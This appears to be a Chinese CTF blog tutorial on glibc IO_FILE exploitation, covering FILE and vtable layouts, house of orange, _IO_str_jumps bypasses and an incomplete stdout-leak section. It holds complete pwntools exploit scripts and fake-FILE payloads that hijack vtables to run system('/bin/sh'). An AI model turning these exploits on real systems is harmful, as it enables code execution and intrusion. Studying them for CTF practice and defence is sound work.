前置知识

细节知识可以看https://www.siriuswhiter.tk/2019/07/08/io-file-%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/

FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。

图示

图示

所以新建的文件句柄的chains会指向stderr

IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下:

struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

输出方法,eg:

1
p  *(struct _IO_FILE_plus *) stdout

IO_FILE 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain; /* 偏移: 0x68-0x70 */

int _fileno; /* 文件描述符 fd */
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

偏移记录

方便在使用时查看偏移进行伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},

'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}

IO_jump_t表结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

常用对应iofile函数

1
2
3
4
5
fread    -> __xsgetn   -> __doallocate  -> __stat  -> __underflow -> __read
fwrite -> __xsputn -> __docallocate -> __overflow -> __write
fclose -> __finish -> __overflow / -> __fclose //根据标志位来改变模式
malloc_printerr -> __overflow
exit -> _setbuf

利用思路

在源码分析中我们知道io相关操作最后会调用vtable中的函数,所以利用方法就是修改vtable中的值,或者是实现对整个FILE结构体的伪造来修改虚表,当然本质上没有太大的区别。

利用演示

还是使用下how2heap上的例子,这里是结合了house of orange,可以跟着源码调试理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{


char *p1, *p2;
size_t io_list_all, *top;

// 首先分配一个 0x400 的 chunk
p1 = malloc(0x400-16);

// 拿到 top chunk的地址
top = (size_t *) ( (char *) p1 + 0x400 - 16);
// 修改 top chunk 的 size
top[1] = 0xc01;

// 触发 syscall 的 _int_free, top_chunk 放到了 unsort bin
p2 = malloc(0x1000);

// 根据 fd 指针的偏移计算 io_list_all 的地址
io_list_all = top[2] + 0x9a8;

// 修改 top_chunk 的 bk 为 io_list_all - 0x10 , 后面会触发
top[3] = io_list_all - 0x10;

/*
设置 fp 指针指向位置 开头 为 /bin/sh
*/

memcpy( ( char *) top, "/bin/sh\x00", 8);

// 修改 top chunk 的 大小 为 0x60
top[1] = 0x61;

/*
为了可以正常调用 overflow() ,需要满足一些条件
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;


// 设置虚表
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

// 再次 malloc, fastbin, smallbin都找不到需要的大小,会遍历 unsort bin 把它们添加到对应的 bins 中去
// 之前已经把 top->bk 设置为 io_list_all - 0x10, 所以会把 io_list_all 的值 设置为 fd,
// 也就是 main_arena+88
// _IO_FILE_plus + 0x68 --> _china , main_arena+88 + 0x68 为 smallbin[5], 块大小为 0x60
// 所以要把 top的 size 设置为 0x60
malloc(10);

return 0;
}

int winner(char *ptr)
{
system(ptr);
return 0;
}

可以发现,实际上在利用时是将top chunk放入unsorted bin中之后将其作为FILE结构体,并将虚表设置在了FILE结构体中,最后触发malloc_printerr,内部调用libc_message,再内部调用abort,abort中调用fflush即_IO_flush_all_lockp,其中调用OVERFLOW时调用 vtable中的 __overflow,触发system(‘/bin/sh’)。

当然利用方法不止这一种,也能够使程序去调用其他函数getshell。

利用实例

task_challenge1

方向

控制fp指针伪造FILE 与 vtable,因为fclose时调用vtable中的_finish,所以将其覆盖为system

伪造的FILE结构体前四个字节需要满足 flags & is_filebuf 即 flags & 0x2000为0,会直接调用_io_finish
0xffffdfff & 0x2000 = 0

1
2
3
4
5
6
7
8
9
10
11
12
#define _IO_IS_FILEBUF 0x2000

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);

_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);

题目

一道iofile练手题,与pwnable.tw上那道有些相似,可以输入,输出,退出

输入直接调用gets,在bss段,可以覆盖打开文件的指针,伪造结构体可以一块进行
退出会调用fclose关闭文件

1
2
3
4
5
.bss:00000000006010C0 ; char s[256]
.bss:00000000006010C0 s db 100h dup(?) ; DATA XREF: get+4↑o
.bss:00000000006010C0 ; put+4↑o
.bss:00000000006011C0 ; FILE *stream
.bss:00000000006011C0 stream dq ? ; DATA XREF: exits+4↑r

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./task_challenge1')
elf = ELF('./task_challenge1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('','')
elf = ELF('task_challenge1')
#libc=ELF('')



buf_addr = 0x6010c0
system = 0x400897


fake_file = p32(0xffffdfff)+';/bin/sh\x00'
fake_file = fake_file.ljust(0xd8,'\0')
vtable = buf_addr+0xe0
fake_file += p64(vtable)

pay = fake_file
pay += p64(0)*2
pay += p64(system) #vtable finish , fclose will call this func.
pay = pay.ljust(0x100,'\0')
pay += p64(buf_addr)

sh.sendlineafter('>','1')
sh.sendline(pay)
#gdb.attach(sh)
#sh.recv()
#sh.sendline('3')
#exits()
sh.interactive()

house of orange

方向

就是演示代码的实际利用。

malloc_printerr 会调用_io_overflow
伪造被放入unsorted bin中的top chunk为FILE 结构体,使之能够绕过检查进入_IO_OVERFLOW (fp, EOF)

1
2
3
4
5
6
7
8
9
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)  //需要bypass的条件
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //改 _IO_OVERFLOW 为 system 劫持程序流!
result = EOF;

即需要满足任意一种

1
2
3
4
5
6
1.fp->_mode <= 0
2.fp->_IO_write_ptr > fp->_IO_write_base

1._IO_vtable_offset (fp) == 0
2.fp->_mode > 0
3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

题目

house of orange 的开山之作,因而之后这种利用方法就叫做house of orange
题目可以 build ,upgrade ,see
build 会创建三个chunk,一个保存其中两个的指针,一个保存大小与颜色,最后为用户自定义大小不大于0x1000的chunk。
upgrade 时没有考虑build时的大小,所以会直接溢出
see 正常展示,后面会用来泄露

思路

没有free,就要创造free的条件,利用溢出修改top chunk头,使得再次申请时因为top chunk大小不够而将其free掉。

后面申请largebin 大小的chunk使之从中分割来泄露libc 及 heap地址

利用unsorted bin attack 将_IO_list_all修改为main_arena+0x58,同时old top chunk 会被分入small bin中

再分配chunk 触发malloc_printerr遍历_IO_list_all调用_IO_OVERFLOW函数触发伪造的FILE结构体中指针指向的system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./houseoforange')
elf = ELF('./houseoforange')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('','')
elf = ELF('./houseoforange')
#libc=ELF('')

def build(size,name,price,color):
sh.recvuntil(":")
sh.sendline("1")
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.send(name)
sh.recvuntil(":")
sh.sendline(str(price))
sh.recvuntil(":")
sh.sendline(str(color))


def see():
sh.recvuntil(":")
sh.sendline("2")

def upgrade(size,name,price,color):
sh.recvuntil(":")
sh.sendline("3")
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.send(name)
sh.recvuntil(":")
sh.sendline(str(price))
sh.recvuntil(":")
sh.sendline(str(color))


build(0x20,'1',20,1)
pay = 'a'*0x20+p64(0)+p64(0x21)+'b'*0x10+p64(0)+p64(0xf91)
upgrade(len(pay),pay,20,1)

#trigger _sys_malloc
build(0x1000,'2',20,2)

build(0x400,'3'*8,20,3)
see()
sh.recvuntil('3'*8)
libc.base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\0'))-0x3c5188
print hex(libc.base)
io_list_all = libc.base + libc.symbols['_IO_list_all']
print hex(io_list_all)
system = libc.base + libc.symbols['system']
print hex(system)

upgrade(0x400,'4'*16,20,4)
see()
sh.recvuntil('4'*16)
heap_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\0'))-0xd0
print hex(heap_base)


pay = 'e'*0x400
pay += p64(0)+p64(0x21)+p32(1)+p32(0x14)+p64(0)

# mode >0 && wide_data->write_ptr > wide_data->write_base && vtable_offset == 0
fake_file = '/bin/sh\x00'+p64(0x61)
fake_file += p64(0xdeadbeef) + p64(io_list_all-0x10) #unsorted bin attack
fake_file = fake_file.ljust(0xa0,'\x00')
fake_file += p64(heap_base+0x4e0) #wide_data
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(1) # mode

# write_base < write_ptr && mode <=0
fake_file2 = '/bin/sh\x00'+p64(0x61)
fake_file2 += p64(0xdeadbeef) + p64(io_list_all-0x10)
fake_file2 += p64(0) + p64(1) # write_base & write_ptr
fake_file2 = fake_file2.ljust(0xc0,'\x00')
fake_file2 += p64(0) # mode


pay += fake_file # fake_file & fake_file2 对应着两种绕过检查
pay += p64(0) + p64(0)
pay += p64(heap_base+0x610) #vtable
pay += p64(0)*2+p64(system)*10

upgrade(0x800,pay,20,5)

#gdb.attach(sh)
sh.sendline('1')
sh.interactive()
  • mode >0 && wide_data->write_ptr > wide_data->write_base && vtable_offset == 0

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    > p *(struct _IO_FILE_plus *) 0x55b527f0b500
    $2 = {
    file = {
    _flags = 1852400175,
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0xdeadbeef <error: Cannot access memory at address 0xdeadbeef>,
    _IO_read_base = 0x7fa084964510 "",
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x55b527f0b4e0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 1,
    _unused2 = '\000' <repeats 19 times>
    },
    vtable = 0x55b527f0b610
    }
  • write_base < write_ptr && mode <=0

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    > p *(struct _IO_FILE_plus *) 0x55731d86f500 
    $1 = {
    file = {
    _flags = 1852400175,
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0xdeadbeef <error: Cannot access memory at address 0xdeadbeef>,
    _IO_read_base = 0x7fbcf865f510 "",
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
    },
    vtable = 0x55731d86f610
    }

ciscn_2019_n_7

华北赛区的一道半决赛题

题目

三个功能 add edit show
add只能使用一次,会将name 和 指针保存在堆中,且获取name的时候会有八个字节的溢出,刚好可以覆盖指针,
edit会先修改name ,再根据保存的指针来修改内存值,所以可以任意地址写
另:输入666可以得到puts的实际地址,因此可以泄露libc

方向

666 泄露libc,add或edit来修改指针,原计划修改malloc_hook为onegadget,但是鉴于在add之后不再有malloc 或者free,因此不可行。
很自然的想到修改IO_file 虚表来使程序退出时能够触发来getshell。

exp

1
2


2.24 check 绕过

前面已经知道从2.24开始添加了对虚表的检查,使得没有办法任意地址伪造vtable。所以有了一些不用伪造虚表的利用办法

_IO_buf_base & _IO_buf_end

再调用相关stdin的函数如——read , scanf等函数时,会对__IO_stdin 的 _IO_buf_base ,_IO_buf_end, _IO_read_ptr, _IO_read_base, _IO_read_end 进行初始化,因为底层调用的malloc,所以一般都会分配到堆里。

可以随便写个小程序测试下

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>

int main(){
char *ptr = malloc(0x20);
int a;
scanf("%d",&a);
printf("%d",a);
free(ptr);
return 0;
}

加上调试符号编译,scanf过后,可以看到堆中添加了一个大小为0x411的chunk,这个chunk就是开辟的缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
0x602000 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602030 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa363534333231,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602440 PREV_INUSE {
prev_size = 0,
size = 134081,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}


> p *(struct _IO_FILE_plus *) stdin
$3 = {
file = {
_flags = -72539512,
_IO_read_ptr = 0x602046 "\n",
_IO_read_end = 0x602047 "",
_IO_read_base = 0x602040 "123456\n",
_IO_write_base = 0x602040 "123456\n",
_IO_write_ptr = 0x602040 "123456\n",
_IO_write_end = 0x602040 "123456\n",
_IO_buf_base = 0x602040 "123456\n",
_IO_buf_end = 0x602440 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7dd7770 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd59a0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd2440 <__GI__IO_file_jumps>
}

例如我们在使用scanf对栈中的临时变量赋值时,作为缓冲区,数据也会在这边被同步保存,因而如果能够控制_IO_buf_base指针,就能够实现任意地址写。

同理printf等也会开辟输出缓冲区,通过修改也能够做到任意地址读。

_IO_str_jumps

libc不止有_IO_file_jumps这个虚表,还有_IO_str_jumps 与 _IO_wstr_jumps等虚表,一般前者更好利用
所以将伪造的结构体vtable指针指向这个虚表,再对其进行利用

_IO_str_jumps 定义于/libio/strops.c中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

一般可以利用_IO_str_finish 与 _IO_str_overflow,同时也是前者更方便利用,定义如下

1
2
3
4
5
6
7
8
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}

_IO_str_finish需要满足

1
2
3
4
5
6
7
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr
_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // step 1
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

_IO_str_overflow需要满足

1
2
3
4
5
6
7
8
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2
_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_jumps - 0x18

利用实例2

echo from your heart

方向

有点迷/尝试使用的fake_file2也没有成功,在unlink的时候就中断了。

_flags = 0
_IO_write_base < _IO_write_ptr
_IO_buf_base = binsh
_mode <= 0
vtable = _IO_str_jumps - 8
fp+0xe8 -> system_addr

题目

基本上就是那个hctf中的printf,程序执行流基本一致

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./echo_from_your_heart')
elf = ELF('./echo_from_your_heart')
libc = ELF('/glibc/glibc-2.24/debug_x64/lib/libc-2.24.so')
else:
sh = remote('','')
elf = ELF('./echo_from_your_heart')
#libc=ELF('')



def get(size,word):
sh.sendlineafter('word: ',str(size))
sh.sendlineafter('word: ',word)

get(0x20,"%lx."*8+"%lx")
sh.recvuntil('echo: ')
for i in range(8):
sh.recvuntil('.')
#print sh.recv()
libc.base = int('0x'+sh.recvuntil('\n',drop=True),16) - 0x1fcc9
print hex(libc.base)
io_list_all = libc.base + libc.symbols['_IO_list_all']
system = libc.base + libc.symbols['system']
binsh = libc.base + libc.search('/bin/sh\x00').next()
io_str_jumps = libc.base + libc.symbols['_IO_str_jumps']
success("binsh_addr: "+hex(binsh))
#sh.recv()
get(0x20,'a'*0x20+p64(0)+p64(0xfa1))
get(0x1000,'bbbb')

#gdb.attach(sh)

fake_file = p64(0)+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10) # read_end & read_base
fake_file += p64(2)+p64(3) # write_base < write_ptr
fake_file += p64(0)+p64(binsh) # write_end & buf_base
fake_file += '\0'*0x98#fake_file.ljust(0xd8,'\0') # use ljust will be detected why?

pay = fake_file
pay += p64(io_str_jumps-8) # vtable_ptr
pay += p64(0) + p64(system)

fake_file2 = p64(0)+p64(0x61)
fake_file2 += p64(0)*2
fake_file2 += p64(0)+p64((binsh-100)/2+1) # write_base & write_ptr
fake_file2 += p64(0)*2
fake_file2 += p64((binsh-100)/2) # buf_end
fake_file2 += '\0'*0x60
fake_file2 += p64(2)+p64(3) # freeres_list & freeres_buf
fake_file2 += p64(0)*0x20

#gdb.attach(sh)
pay2 = fake_file2
pay2 += p64(io_str_jumps-0x18)

get(0x10,'d' * 0x10 + pay)
#gdb.attach(sh)
#get(0x20,'a'*0x20+fake_file)
sleep(1)
sh.sendlineafter('word: ','20')
#gdb.attach(sh)
sh.interactive()

利用实例3

利用 _IO_2_1_stdout_ 泄露信息

原理

_flags 标志了FILE的一些行为,对其进行构造可以帮助我们进行泄露

其中高两位字节是_IO_magic

1
2
3
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000

而低二位字节为比特级的标志位,低位到高位规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

因为前面已经分析了源码,这里就不细节分析了,提取相关的需要绕过部分讲解即可。因为是要利用_IO_2_1_stdout_来泄露,所以要修改的也是这个函数。

stdout 的_flags一般是:0x00000000fbad2887,根据标志位对应可以看到是

1
